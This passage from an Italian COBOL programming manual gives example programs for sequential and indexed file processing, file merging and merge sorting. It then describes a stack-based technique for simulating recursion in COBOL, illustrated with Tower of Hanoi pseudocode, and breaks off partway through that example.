004800     ACCEPT NUMERO-1.
004900     ACCEPT TIPO-CALCOLO.
005000     ACCEPT NUMERO-2.
005100     IF NUMERO-1 = 0 AND NUMERO-2 = 0 AND TIPO-CALCOLO = SPACE
005200       THEN
005300           MOVE 1 TO EOJ,
005400       ELSE
005500           WRITE RECORD-DA-SCRIVERE.
005600*
```

84.3.11 AGO-83-14: lettura e riscrittura di un file sequenziale

Questo esempio legge e riscrive il file generato con l'esempio precedente, eseguendo i calcoli previsti e mostrando anche il risultato a video.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-14.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-DA-ELABORARE ASSIGN TO "calc.seq"
001300                              ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-DA-ELABORARE
002000     LABEL RECORD IS STANDARD.
002100*
```

```
002200 01  RECORD-DA-ELABORARE.
002300     02  NUMERO-1          PIC 9(15).
002400     02  TIPO-CALCOLO      PIC X.
002500     02  NUMERO-2          PIC 9(15).
002600     02  UGUALE            PIC X.
002700     02  RISULTATO         PIC 9(15).
002800     02  SEPARAZIONE       PIC X.
002900     02  RESTO             PIC 9(15).
003000     02  NOTE              PIC X(18).
003100*
003200 WORKING-STORAGE SECTION.
003300*
003400 01  CAMPI-SCALARI.
003500     02  EOF               PIC 9     COMP VALUE IS 0.
003600     02  EOJ               PIC 9     COMP VALUE IS 0.
003700*
003800 PROCEDURE DIVISION.
003900*------------------------- LIVELLO 0 -----------------------------
004000 MAIN.
004100     OPEN I-O FILE-DA-ELABORARE.
004200     READ FILE-DA-ELABORARE
004300          AT END MOVE 1 TO EOF.
004400     PERFORM ELABORAZIONE UNTIL EOF = 1.
004500     CLOSE FILE-DA-ELABORARE.
004600     STOP RUN.
004700*------------------------- LIVELLO 1 -----------------------------
004800 ELABORAZIONE.
004900     MOVE SPACES TO NOTE.
005000     MOVE ZERO   TO RESTO.
005100     IF      TIPO-CALCOLO = "+"
005200     THEN
005300         COMPUTE RISULTATO = NUMERO-1 + NUMERO-2;
005400     ELSE IF TIPO-CALCOLO = "-"
005500     THEN
005600         COMPUTE RISULTATO = NUMERO-1 - NUMERO-2;
005700     ELSE IF TIPO-CALCOLO = "*"
005800     THEN
005900         COMPUTE RISULTATO = NUMERO-1 * NUMERO-2;
006000     ELSE IF TIPO-CALCOLO = "/"
006100     THEN
006200         DIVIDE NUMERO-1 BY NUMERO-2 GIVING RISULTATO,
006300                REMAINDER RESTO;
006400     ELSE
006500         MOVE ZERO TO RISULTATO,
006600         MOVE "CALCOLO ERRATO" TO NOTE.
006700
006800     MOVE "="   TO UGUALE.
006900     MOVE SPACE TO SEPARAZIONE.
007000     DISPLAY RECORD-DA-ELABORARE.
007100     REWRITE RECORD-DA-ELABORARE.
007200     READ FILE-DA-ELABORARE
007300          AT END MOVE 1 TO EOF.
```

```
007400*
```

84.3.12 AGO-83-15: estensione di un file sequenziale contenente aggiornamenti successivi

Questo esempio estende un file sequenziale con delle informazioni, che possono essere aggiornate in momenti successivi. I record si considerano contenere la stessa informazione, aggiornata, quando hanno la stessa chiave.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-15.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-22.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-AGGIORNAMENTI ASSIGN TO "agg.seq"
001300                               ORGANIZATION IS SEQUENTIAL.
001400*
001500 DATA DIVISION.
001600*
001700 FILE SECTION.
001800*
001900 FD  FILE-AGGIORNAMENTI
002000     LABEL RECORD IS STANDARD.
002100*
002200 01  RECORD-AGGIORNAMENTI.
002300     02  CHIAVE           PIC X(5).
002400     02  DATI             PIC X(67).
002500     02  ANNO-MESE-GIORNO.
002600         03  ANNO         PIC 9999.
002700         03  MESE         PIC 99.
002800         03  GIORNO       PIC 99.
002900*
003000 WORKING-STORAGE SECTION.
003100*
003200 01  CAMPI-SCALARI.
003300     02  EOJ              PIC 9     COMP VALUE IS 0.
003400*
003500 PROCEDURE DIVISION.
003600*------------------------- LIVELLO 0 -----------------------------
003700 MAIN.
003800     OPEN EXTEND FILE-AGGIORNAMENTI.
003900     PERFORM INSERIMENTO-DATI UNTIL EOJ = 1.
004000     CLOSE FILE-AGGIORNAMENTI.
004100     STOP RUN.
004200*------------------------- LIVELLO 1 -----------------------------
```

```
004300 INSERIMENTO-DATI.
004400     DISPLAY "INSERISCI IN SEQUENZA: LA CHIAVE, I DATI DEL ",
004500             "RECORD E LA DATA DI INSERIMENTO. LA DATA SI ",
004600             "SCRIVE SECONDO IL FORMATO AAAAMMGG".
004700     ACCEPT CHIAVE.
004800     ACCEPT DATI.
004900     ACCEPT ANNO-MESE-GIORNO.
005000     IF CHIAVE = SPACES
005100       THEN
005200           MOVE 1 TO EOJ,
005300       ELSE
005400           WRITE RECORD-AGGIORNAMENTI.
005500*
```

84.3.13 AGO-83-16: aggiornamento di un file a indice

Questo esempio utilizza il file sequenziale del programma precedente, per aggiornare i record di un file a indice (che deve essere già esistente). Questo esempio funziona correttamente utilizzando il compilatore TinyCOBOL 0.61.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-16.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-08.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-AGGIORNAMENTI ASSIGN TO "agg.seq"
001300                               ORGANIZATION IS SEQUENTIAL.
001400*
001500     SELECT FILE-DA-AGGIORNARE ASSIGN TO "agg.ind"
001600                               ORGANIZATION IS INDEXED,
001700                               ACCESS MODE IS RANDOM,
001800                               RECORD KEY IS CHIAVE-K.
001900*
002000 DATA DIVISION.
002100*
002200 FILE SECTION.
002300*
002400 FD  FILE-AGGIORNAMENTI
002500     LABEL RECORD IS STANDARD.
002600*
002700 01  RECORD-AGGIORNAMENTI.
002800     02  CHIAVE           PIC X(5).
002900     02  DATI             PIC X(67).
003000     02  ANNO-MESE-GIORNO.
003100         03  ANNO         PIC 9999.
```

```
003200         03  MESE         PIC 99.
003300         03  GIORNO       PIC 99.
003400*
003500 FD  FILE-DA-AGGIORNARE
003600     LABEL RECORD IS STANDARD.
003700*
003800 01  RECORD-DA-AGGIORNARE.
003900     02  CHIAVE-K         PIC X(5).
004000     02  DATI             PIC X(67).
004100     02  ANNO-MESE-GIORNO.
004200         03  ANNO         PIC 9999.
004300         03  MESE         PIC 99.
004400         03  GIORNO       PIC 99.
004500*
004600 WORKING-STORAGE SECTION.
004700*
004800 01  CAMPI-SCALARI.
004900     02  EOF              PIC 9     COMP VALUE IS 0.
005000     02  INV-KEY          PIC 9     COMP VALUE IS 0.
005100*
005200 PROCEDURE DIVISION.
005300*------------------------- LIVELLO 0 -----------------------------
005400 MAIN.
005500     OPEN INPUT FILE-AGGIORNAMENTI.
005600     OPEN I-O   FILE-DA-AGGIORNARE.
005700     PERFORM LEGGI-FILE-AGGIORNAMENTI.
005800     PERFORM ELABORAZIONE
005900             UNTIL EOF = 1.
006000     CLOSE FILE-AGGIORNAMENTI.
006100     CLOSE FILE-DA-AGGIORNARE
006200     STOP RUN.
006300*------------------------- LIVELLO 1 -----------------------------
006400 ELABORAZIONE.
006500     MOVE ZERO TO INV-KEY.
006600     READ FILE-DA-AGGIORNARE
006700          INVALID KEY
006800                     MOVE 1 TO INV-KEY.
006900     IF INV-KEY = 1
007000       THEN
007100           PERFORM WRITE-FILE-DA-AGGIORNARE;
007200       ELSE
007300           IF ANNO-MESE-GIORNO OF RECORD-AGGIORNAMENTI >
007400              ANNO-MESE-GIORNO OF RECORD-DA-AGGIORNARE
007500             THEN
007600                 PERFORM REWRITE-FILE-DA-AGGIORNARE.
007700     PERFORM LEGGI-FILE-AGGIORNAMENTI.
007800*-----------------------------------------------------------------
007900 LEGGI-FILE-AGGIORNAMENTI.
008000     READ FILE-AGGIORNAMENTI
008100          AT END MOVE 1 TO EOF.
008200     IF NOT EOF = 1
008300       THEN
008400           MOVE CHIAVE TO CHIAVE-K.
```

```
008500*------------------------- LIVELLO 2 -----------------------------
008600 WRITE-FILE-DA-AGGIORNARE.
008700     WRITE RECORD-DA-AGGIORNARE FROM RECORD-AGGIORNAMENTI
008800           INVALID KEY
008900                      DISPLAY "ERRORE NON PREVISTO 1".
009000*-----------------------------------------------------------------
009100 REWRITE-FILE-DA-AGGIORNARE.
009200     REWRITE RECORD-DA-AGGIORNARE FROM RECORD-AGGIORNAMENTI
009300           INVALID KEY
009400                      DISPLAY "ERRORE NON PREVISTO 2".
009500*
```

84.3.14 AGO-83-18: fusione tra due file sequenziali ordinati

Il programma seguente richiede la presenza di due file sequenziali, ordinati, denominati rispettivamente '`file-ord-1.seq`' e '`file-ord-2.seq`'. Per creare questi file si può usare il programma '**`AGO-83-1`**', avendo cura di inserire una sequenza di record ordinati per codice, modificando poi il nome del file, una volta come '`file-ord-1.seq`' e un'altra volta come '`file-ord-2.seq`'.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-18.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 1983-06.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-ORD-1 ASSIGN TO "file-ord-1.seq"
001300                       ORGANIZATION IS SEQUENTIAL.
001400     SELECT FILE-ORD-2 ASSIGN TO "file-ord-2.seq"
001500                       ORGANIZATION IS SEQUENTIAL.
001600     SELECT FILE-MERGE ASSIGN TO "file-merge.seq"
001700                       ORGANIZATION IS SEQUENTIAL.
001800*
001900 DATA DIVISION.
002000*
002100 FILE SECTION.
002200*
002300 FD  FILE-ORD-1
002400     LABEL RECORD IS STANDARD.
002500*
002600 01  RECORD-ORD-1.
002700     02  CODICE-1          PIC 9(10) COMP.
002800     02  FILLER            PIC X(75).
002900*
003000 FD  FILE-ORD-2
003100     LABEL RECORD IS STANDARD.
```

```
003200*
003300 01  RECORD-ORD-2.
003400     02  CODICE-2          PIC 9(10) COMP.
003500     02  FILLER            PIC X(75).
003600*
003700 FD  FILE-MERGE
003800     LABEL RECORD IS STANDARD.
003900*
004000 01  RECORD-MERGE          PIC X(80).
004100*
004200 WORKING-STORAGE SECTION.
004300*
004400 01  CAMPI-SCALARI.
004500     02  EOF-1             PIC 9     COMP VALUE IS 0.
004600     02  EOF-2             PIC 9     COMP VALUE IS 0.
004700*
004800 PROCEDURE DIVISION.
004900*------------------------- LIVELLO 0 -----------------------------
005000 MAIN.
005100     OPEN INPUT  FILE-ORD-1.
005200     OPEN INPUT  FILE-ORD-2.
005300     OPEN OUTPUT FILE-MERGE.
005400     PERFORM LETTURA-FILE-ORD-1.
005500     PERFORM LETTURA-FILE-ORD-2.
005600     PERFORM ELABORAZIONE
005700             UNTIL EOF-1 = 1 AND EOF-2 = 1.
005800     CLOSE FILE-MERGE.
005900     CLOSE FILE-ORD-2.
006000     CLOSE FILE-ORD-1.
006100     STOP RUN.
006200*------------------------- LIVELLO 1 -----------------------------
006300 ELABORAZIONE.
006400     IF      (CODICE-1 <= CODICE-2 AND EOF-1 = 0) OR EOF-2 = 1
006500     THEN
006600         MOVE RECORD-ORD-1 TO RECORD-MERGE,
006700         WRITE RECORD-MERGE,
006800         PERFORM LETTURA-FILE-ORD-1;
006900     ELSE IF (CODICE-1 >  CODICE-2 AND EOF-2 = 0) OR EOF-1 = 1
007000     THEN
007100         MOVE RECORD-ORD-2 TO RECORD-MERGE,
007200         WRITE RECORD-MERGE,
007300         PERFORM LETTURA-FILE-ORD-2;
007400     ELSE
007500         DISPLAY "ERRORE NON PREVISTO".
007600*------------------------- LIVELLO 2 -----------------------------
007700 LETTURA-FILE-ORD-1.
007800     READ FILE-ORD-1
007900          AT END
008000                MOVE 1 TO EOF-1.
008100*-----------------------------------------------------------------
008200 LETTURA-FILE-ORD-2.
008300     READ FILE-ORD-2
008400          AT END
```

```
008500                 MOVE 1 TO EOF-2.
008600*
```

84.3.15 AGO-83-20: riordino attraverso la fusione

Il programma seguente utilizza un file sequenziale, non ordinato, denominato '`file-in.seq`', per generare il file '`file-out.seq`' ordinato, utilizzando due file temporanei: '`file-tmp-1.seq`' e '`file-tmp-2.seq`'. Per creare il file '`file-in.seq`', si può usare il programma '**`AGO-83-1`**', modificando poi il nome come richiesto in questo esempio.

Nella sezione 73.6.2 viene descritto il problema del riordino ottenuto attraverso la suddivisione in blocchi del file e la fusione successiva.

```
000100 IDENTIFICATION DIVISION.
000200 PROGRAM-ID.   AGO-83-20.
000300 AUTHOR.       DANIELE GIACOMINI.
000400 DATE-WRITTEN. 2005-03-29.
000500*
000600 ENVIRONMENT DIVISION.
000700*
000800 INPUT-OUTPUT SECTION.
000900*
001000 FILE-CONTROL.
001100*
001200     SELECT FILE-IN    ASSIGN TO "file-in.seq"
001300                       ORGANIZATION IS SEQUENTIAL.
001400     SELECT FILE-TMP-1 ASSIGN TO "file-tmp-1.seq"
001500                       ORGANIZATION IS SEQUENTIAL.
001600     SELECT FILE-TMP-2 ASSIGN TO "file-tmp-2.seq"
001700                       ORGANIZATION IS SEQUENTIAL.
001800     SELECT FILE-MERGE ASSIGN TO "file-out.seq"
001900                       ORGANIZATION IS SEQUENTIAL.
002000*
002100 DATA DIVISION.
002200*
002300 FILE SECTION.
002400*
002500 FD  FILE-IN
002600     LABEL RECORD IS STANDARD.
002700*
002800 01  RECORD-IN.
002900     02  CODICE-IN        PIC 9(10) COMP.
003000     02  FILLER           PIC X(75).
003100*
003200 FD  FILE-TMP-1
003300     LABEL RECORD IS STANDARD.
003400*
003500 01  RECORD-TMP-1.
003600     02  CODICE-T1        PIC 9(10) COMP.
003700     02  FILLER           PIC X(75).
003800*
003900 FD  FILE-TMP-2
```

```
004000     LABEL RECORD IS STANDARD.
004100*
004200 01  RECORD-TMP-2.
004300     02  CODICE-T2         PIC 9(10) COMP.
004400     02  FILLER            PIC X(75).
004500*
004600 FD  FILE-MERGE
004700     LABEL RECORD IS STANDARD.
004800*
004900 01  RECORD-MERGE.
005000     02  CODICE-MERGE      PIC 9(10) COMP.
005100     02  FILLER            PIC X(75).
005200*
005300 WORKING-STORAGE SECTION.
005400*
005500 01  CAMPI-SCALARI.
005600     02  EOF               PIC 9     COMP VALUE IS 0.
005700     02  EOF-1             PIC 9     COMP VALUE IS 0.
005800     02  EOF-2             PIC 9     COMP VALUE IS 0.
005900     02  EOB-1             PIC 9     COMP VALUE IS 0.
006000     02  EOB-2             PIC 9     COMP VALUE IS 0.
006100     02  BIFORCAZIONI      PIC 9(10) COMP VALUE IS 0.
006200     02  CODICE-ORIG       PIC 9(10) COMP VALUE IS 0.
006300     02  CODICE-ORIG-1     PIC 9(10) COMP VALUE IS 0.
006400     02  CODICE-ORIG-2     PIC 9(10) COMP VALUE IS 0.
006500     02  SCAMBIO           PIC 9     COMP VALUE IS 0.
006600*
006700 PROCEDURE DIVISION.
006800*------------------------- LIVELLO 0 -----------------------------
006900 MAIN.
007000     PERFORM COPIA-FILE-MERGE.
007100     PERFORM BIFORCAZIONE.
007200     IF BIFORCAZIONI > 0
007300       THEN
007400           PERFORM FUSIONE,
007500           PERFORM BIFORCAZIONE-E-FUSIONE
007600                   UNTIL BIFORCAZIONI <= 2.
007700     STOP RUN.
007800*------------------------- LIVELLO 1 -----------------------------
007900 COPIA-FILE-MERGE.
008000     OPEN INPUT  FILE-IN.
008100     OPEN OUTPUT FILE-MERGE.
008200     MOVE ZERO TO EOF.
008300     PERFORM LETTURA-FILE-IN.
008400     PERFORM COPIA-RECORD-FILE-MERGE
008500             UNTIL EOF = 1.
008600     CLOSE FILE-MERGE.
008700     CLOSE FILE-IN.
008800*-----------------------------------------------------------------
008900 BIFORCAZIONE-E-FUSIONE.
009000     PERFORM BIFORCAZIONE.
009100     PERFORM FUSIONE.
009200*------------------------- LIVELLO 2 -----------------------------
```

```
009300 COPIA-RECORD-FILE-MERGE.
009400     MOVE RECORD-IN TO RECORD-MERGE.
009500     WRITE RECORD-MERGE.
009600     PERFORM LETTURA-FILE-IN.
009700*-----------------------------------------------------------------
009800 BIFORCAZIONE.
009900     MOVE ZERO TO BIFORCAZIONI.
010000     OPEN INPUT  FILE-MERGE.
010100     OPEN OUTPUT FILE-TMP-1.
010200     OPEN OUTPUT FILE-TMP-2.
010300     MOVE ZERO TO EOF.
010400     MOVE 1 TO SCAMBIO.
010500     PERFORM LETTURA-FILE-MERGE.
010600     IF EOF = 0
010700       THEN
010800           ADD 1 TO BIFORCAZIONI,
010900           MOVE RECORD-MERGE TO RECORD-TMP-1,
011000           WRITE RECORD-TMP-1,
011100           MOVE CODICE-MERGE TO CODICE-ORIG,
011200           PERFORM LETTURA-FILE-MERGE.
011300     PERFORM BIFORCAZIONE-SUCCESSIVA
011400             UNTIL EOF = 1.
011500     CLOSE FILE-TMP-2.
011600     CLOSE FILE-TMP-1.
011700     CLOSE FILE-MERGE.
011800*-----------------------------------------------------------------
011900 FUSIONE.
012000     OPEN INPUT  FILE-TMP-1.
012100     OPEN INPUT  FILE-TMP-2.
012200     OPEN OUTPUT FILE-MERGE.
012300     MOVE ZERO TO EOF-1.
012400     MOVE ZERO TO EOF-2.
012500     MOVE ZERO TO EOB-1.
012600     MOVE ZERO TO EOB-2.
012700     PERFORM LETTURA-FILE-TMP-1.
012800     IF EOF-1 = 0 AND EOB-1 = 0
012900       THEN
013000           MOVE CODICE-T1 TO CODICE-ORIG-1.
013100     PERFORM LETTURA-FILE-TMP-2.
013200     IF EOF-2 = 0 AND EOB-2 = 0
013300       THEN
013400           MOVE CODICE-T2 TO CODICE-ORIG-2.
013500     PERFORM FUSIONE-SUCCESSIVA
013600             UNTIL EOF-1 = 1 AND EOF-2 = 1.
013700     CLOSE FILE-MERGE.
013800     CLOSE FILE-TMP-2.
013900     CLOSE FILE-TMP-1.
014000*------------------------- LIVELLO 3 -----------------------------
014100 BIFORCAZIONE-SUCCESSIVA.
014200     IF CODICE-MERGE >= CODICE-ORIG
014300       THEN
014400           IF SCAMBIO = 1
014500             THEN
```

```
014600                  MOVE RECORD-MERGE TO RECORD-TMP-1,
014700                  WRITE RECORD-TMP-1,
014800                  MOVE CODICE-MERGE TO CODICE-ORIG,
014900                  PERFORM LETTURA-FILE-MERGE;
015000              ELSE
015100                  MOVE RECORD-MERGE TO RECORD-TMP-2,
015200                  WRITE RECORD-TMP-2,
015300                  MOVE CODICE-MERGE TO CODICE-ORIG,
015400                  PERFORM LETTURA-FILE-MERGE;
015500        ELSE
015600            ADD 1 TO BIFORCAZIONI,
015700            MOVE CODICE-MERGE TO CODICE-ORIG,
015800            IF SCAMBIO = 1
015900              THEN
016000                  MOVE 2 TO SCAMBIO;
016100              ELSE
016200                  MOVE 1 TO SCAMBIO.
016300*------------------------------------------------------------------
016400 FUSIONE-SUCCESSIVA.
016500     PERFORM FUSIONE-BLOCCO
016600             UNTIL EOB-1 = 1 AND EOB-2 = 1.
016700     IF NOT EOF-1 = 1
016800       THEN
016900           MOVE ZERO TO EOB-1.
017000     IF NOT EOF-2 = 1
017100       THEN
017200           MOVE ZERO TO EOB-2.
017300*------------------------- LIVELLO 4 -----------------------------
017400 FUSIONE-BLOCCO.
017500     IF EOB-1 = 1
017600       THEN
017700           MOVE RECORD-TMP-2 TO RECORD-MERGE,
017800           PERFORM LETTURA-FILE-TMP-2;
017900       ELSE
018000           IF EOB-2 = 1
018100             THEN
018200                 MOVE RECORD-TMP-1 TO RECORD-MERGE,
018300                 PERFORM LETTURA-FILE-TMP-1;
018400             ELSE
018500                 IF CODICE-T1 < CODICE-T2
018600                   THEN
018700                       MOVE RECORD-TMP-1 TO RECORD-MERGE,
018800                       PERFORM LETTURA-FILE-TMP-1;
018900                       IF EOF-1 = 0 AND EOB-1 = 0
019000                         THEN
019100                             IF CODICE-T1 >= CODICE-ORIG-1
019200                               THEN
019300                                   MOVE CODICE-T1
019400                                        TO CODICE-ORIG-1;
019500                               ELSE
019600                                   MOVE 1 TO EOB-1;
019700                         ELSE
019800                             NEXT SENTENCE;
```

```
019900                  ELSE
020000                      MOVE RECORD-TMP-2 TO RECORD-MERGE,
020100                      PERFORM LETTURA-FILE-TMP-2;
020200                      IF EOF-2 = 0 AND EOB-2 = 0
020300                        THEN
020400                            IF CODICE-T2 >= CODICE-ORIG-2
020500                              THEN
020600                                  MOVE CODICE-T2
020700                                       TO CODICE-ORIG-2;
020800                              ELSE
020900                                  MOVE 1 TO EOB-2.
021000     WRITE RECORD-MERGE.
021200*------------------------- LIVELLO 5 -----------------------------
021300 LETTURA-FILE-IN.
021400     READ FILE-IN
021500          AT END
021600                MOVE 1 TO EOF.
021700*-----------------------------------------------------------------
021800 LETTURA-FILE-MERGE.
021900     READ FILE-MERGE
022000          AT END
022100                MOVE 1 TO EOF.
022200*-----------------------------------------------------------------
022300 LETTURA-FILE-TMP-1.
022400     READ FILE-TMP-1
022500          AT END
022600                MOVE 1 TO EOF-1,
022700                MOVE 1 TO EOB-1.
022800*-----------------------------------------------------------------
022900 LETTURA-FILE-TMP-2.
023000     READ FILE-TMP-2
023100          AT END
023200                MOVE 1 TO EOF-2,
023300                MOVE 1 TO EOB-2.
023400*
```

84.4 Approfondimento: una tecnica per simulare la ricorsione in COBOL

Questa sezione contiene la ricostruzione di un documento con lo stesso nome, concluso nel mese di giugno del 1985, dopo un periodo di studio sul linguaggio COBOL. Il COBOL è un linguaggio procedurale che offre esclusivamente la gestione di variabili globali, pertanto non consente di realizzare la ricorsione; tuttavia, qui, come esercizio, si descrive una tecnica per arrivare a ottenere un risultato simile alla ricorsione comune.

Si fa riferimento a tre algoritmi noti: torre di Hanoi, quicksort e permutazioni. Questi algoritmi sono descritti nella sezione 73.2.

Al termine è riportata la bibliografia dello studio originale. Tutti gli esempi originali con il linguaggio MPL II sono omessi, anche se nella bibliografia questo linguaggio viene citato.

84.4.1 Il concetto di locale e di globale

Niklaus Wirth **[1]** spiega molto bene la differenza tra il concetto di ***locale*** e di ***globale*** all'interno di un programma:

> *Se un oggetto –una costante, una variabile, una procedura, una funzione o un tipo– è significativo solo all'interno di una parte determinata del programma, viene chiamato «locale». Spesso conviene rappresentare questa parte mediante una procedura; gli oggetti locali vengono allora indicati nel titolo della procedura. Dato che le procedure stesse possono essere locali, può accadere che più indicazioni di procedura siano innestate l'una nell'altra.*
>
> *Nell'ambito della procedura si possono quindi riconoscere due tipi di oggetti: gli oggetti «locali» e gli oggetti «non locali». Questi ultimi sono oggetti definiti nel programma (o nella procedura) in cui è inserita la procedura («ambiente» della procedura). Se sono definiti nel programma principale, sono detti «globali». In una procedura il campo di influenza degli oggetti locali corrisponde al corpo della procedura. In particolare, terminata l'esecuzione della procedura, le variabili locali saranno ancora disponibili per indicare dei nuovi valori; chiaramente, in una chiamata successiva della stessa procedura, i valori delle variabili locali saranno diversi da quelli della chiamata precedente.*
>
> *È essenziale che i nomi degli oggetti locali non debbano dipendere dall'ambiente della procedura. Ma, in tal modo, può accadere che un nome «x», scelto per un oggetto locale della procedura «P», sia identico a quello di un oggetto definito nel programma ambiente di «P». Questa situazione però è corretta solo se la grandezza non locale «x» non è significativa per «P», cioè non viene applicata in «P». Si adotta quindi la «regola fondamentale» che «x» denoti entro «P» la grandezza locale e fuori da «P» quella non locale.*

84.4.2 La ricorsione

«La ricorsione», come spiegano Ledgard, Nagin e Hueras **[2]**, «è un metodo di definizione in cui l'oggetto della definizione è usato all'interno della definizione». Per esempio si può considerare la seguente definizione della parola «discendente»:

> Un discendente di una persona è il figlio o la figlia di quella persona, o un discendente del figlio o della figlia.

Quindi, come scrive Lawrie Moore **[3]**, un sottoprogramma ricorsivo «è un sottoprogramma che corrisponde direttamente e utilizza una definizione ricorsiva». Ovvero, molto più semplicemente come dicono Aho, Hopcroft e Ullman **4**: «Una procedura che chiama se stessa, direttamente o indirettamente, si dice essere ricorsiva».

Moore **[3]** inoltre aggiunge quanto segue: «La chiamata genera un nuovo blocco di programma, con il suo proprio ambito, il suo proprio spazio di lavoro, la sua propria esistenza virtuale. [...] Questo processo prende luogo al momento dell'esecuzione del programma (run-time). Al momento della compilazione né la macchina, né l'intelligenza umana possono dire quante volte la procedura sarà richiamata al momento dell'esecuzione. Perciò, la creazione di un nuovo blocco di programma al momento dell'esecuzione è un processo dinamico. La creazione ricorsiva di nuovi blocchi di programma è una struttura di programmazione dinamica».

84.4.3 Proprietà del linguaggio ricorsivo

La definizione di procedura ricorsiva data da Aho, Hopcroft e Ullman è una condizione necessaria ma non sufficiente perché un linguaggio di programmazione possa definirsi ricorsivo. Infatti, è tale quel linguaggio che oltre a permettere la chiamata di una procedura da parte di se stessa, permette una dichiarazione locale delle variabili, ovvero permette l'allocazione dinamica delle variabili stesse.

Non vi è dubbio che il linguaggio COBOL non sia ricorsivo, eppure ammette che all'interno di un paragrafo si faccia la chiamata dello stesso paragrafo tramite l'istruzione '`PERFORM`'. In effetti non si parla di ricorsione proprio perché il COBOL gestisce solo variabili globali.

84.4.4 Descrizione della tecnica per simulare la ricorsione in COBOL

Le variabili di scambio di un sottoprogramma possono collegarsi all'esterno, a seconda del contesto del programma, in tre modi: in input, in output o in input-output, a seconda che importi che i dati entrino nel sottoprogramma ma non escano, che i dati escano soltanto oppure che i dati debbano prima entrare e poi uscire modificati.

La pseudocodifica utilizzata per mostrare gli esempi, prima di presentare la trasformazione in COBOL, si rifà al linguaggio MPL II Burroughs, dove le variabili di scambio di una procedura vengono semplicemente nominate a fianco del nome della procedura tra parentesi. Ciò corrisponde a una dichiarazione implicita di quelle variabili con ambito locale e con caratteristiche identiche a quelle usate nelle chiamate relative. In particolare, se nella chiamata vengono usate costanti alfanumeriche, la variabile corrispondente sarà di tipo alfanumerico di lunghezza pari alla costante trasmittente, se di tipo numerico, la variabile corrispondente sarà di tipo numerico opportuno: intero o a virgola mobile.
Quindi, in questo tipo di pseudocodifica non sono permesse le variabili di scambio in output.
Le variabili di scambio di questa pseudocodifica si collegano per posizione.

Il problema della simulazione della ricorsione si risolve utilizzando una pila (*stack*) per ogni variabile locale.
La tecnica è indicata molto semplicemente da Jerrold L. Wagener **[5]**. Una volta determinato a priori qual è il numero massimo di livelli della ricorsione, occorre associare a ogni variabile locale, che non sia collegata con l'esterno in input-output, una pila con dimensioni pari a quel numero. Quindi, a una variabile scalare viene associato un vettore, a un vettore viene associata una matrice a due dimensioni e così di seguito. L'indice della pila (*stack pointer*) viene indicato con '`SP`'.
La simulazione si divide in due fasi: la prima deve essere effettuata subito prima della chiamata ricorsiva e consiste nella conservazione delle varie pile dei valori delle variabili di scambio che non sono in input-output con un'operazione di inserimento (*push*); la seconda deve essere effettuata subito dopo la chiamata ricorsiva e consiste nel recupero dalle varie pile dei valori originali delle variabili con un'operazione di estrazione (*pop*).

Figura 84.39. Confronto tra una procedura ricorsiva e la sua trasformazione non ricorsiva, attraverso la pseudocodifica.

```
#
# Procedura ricorsiva
#
PROC1 (V, G, Z)
    .
    .
    .
    .
    .
    .
    .
    # G è una variabile in
    # input-output
    PROC1 (V, G, Z-1)
    .
    .
    .
    .
    .
    .
    .
END PROC1
```

```
#
# Trasformazione non ricorsiva
#
PROC1
    .
    .
    .
    # push
    SP := SP + 1
    SAVEV(SP) := V
    SAVEZ(SP) := Z
    # chiamata
    Z := Z -1
    PROC1
    # pop
    V := SAVEV(SP)
    Z := SAVEZ(SP)
    SP := SP - 1
    .
    .
    .
END PROC1
```

È bene precisare che la tecnica è valida solo se all'interno di una procedura ricorsiva tutte le iterazioni che contengono una chiamata (diretta o indiretta) alla stessa procedura sono a loro volta espresse in forma ricorsiva (si veda il problema delle permutazioni).

84.4.5 Torre di Hanoi

Segue la descrizione dell'algoritmo attraverso la pseudocodifica in forma ricorsiva. Nella sezione 73.5.3 viene descritto il problema della torre di Hanoi.

Variabile	Descrizione
`N`	È la dimensione della torre espressa in numero di anelli: gli anelli sono numerati da 1 a '**N**'.
`P1`	È il numero del piolo su cui si trova inizialmente la pila di '**N**' anelli.
`P2`	È il numero del piolo su cui deve essere spostata la pila di anelli.
`6-P1-P2`	È il numero dell'altro piolo. Funziona così se i pioli sono numerati da 1 a 3.

```
HANOI (N, P1, P2)
    IF N > 0
        THEN
            HANOI (N-1, P1, 6-P1-P2)
            scrivi: "Muovi l'anello" N "dal piolo" P1 "al piolo" P2
            HANOI (N-1, 6-P1-P2, P2)
    END IF
END HANOI
```

Segue la descrizione della trasformazione in modo tale da simulare la ricorsione.

Variabile	Descrizione
`SAVEN`	È il vettore utilizzato per conservare il valore di '**`N`**'.
`SAVEP1`	È il vettore utilizzato per conservare il valore di '**`P1`**'.
`SAVEP2`	È il vettore utilizzato per conservare il valore di '**`P2`**'.
`SP`	È l'indice dei vettori usati per salvare i valori (*stack pointer*).

```
HANOI (N, P1, P2)
    IF N > 0
        THEN
            SP := SP + 1
            SAVEN(SP) := N
            SAVEP2(SP) := P2
            N := N - 1
            P2 := 6 - P1 - P2
            HANOI
            N := SAVEN(SP)
            P2 := SAVEP2(SP)
            SP = SP - 1
            scrivi: "Muovi l'anello" N "dal piolo" P1 "al piolo" P2
            SP := SP + 1
            SAVEN(SP) := N
            SAVEP1(SP) := P1
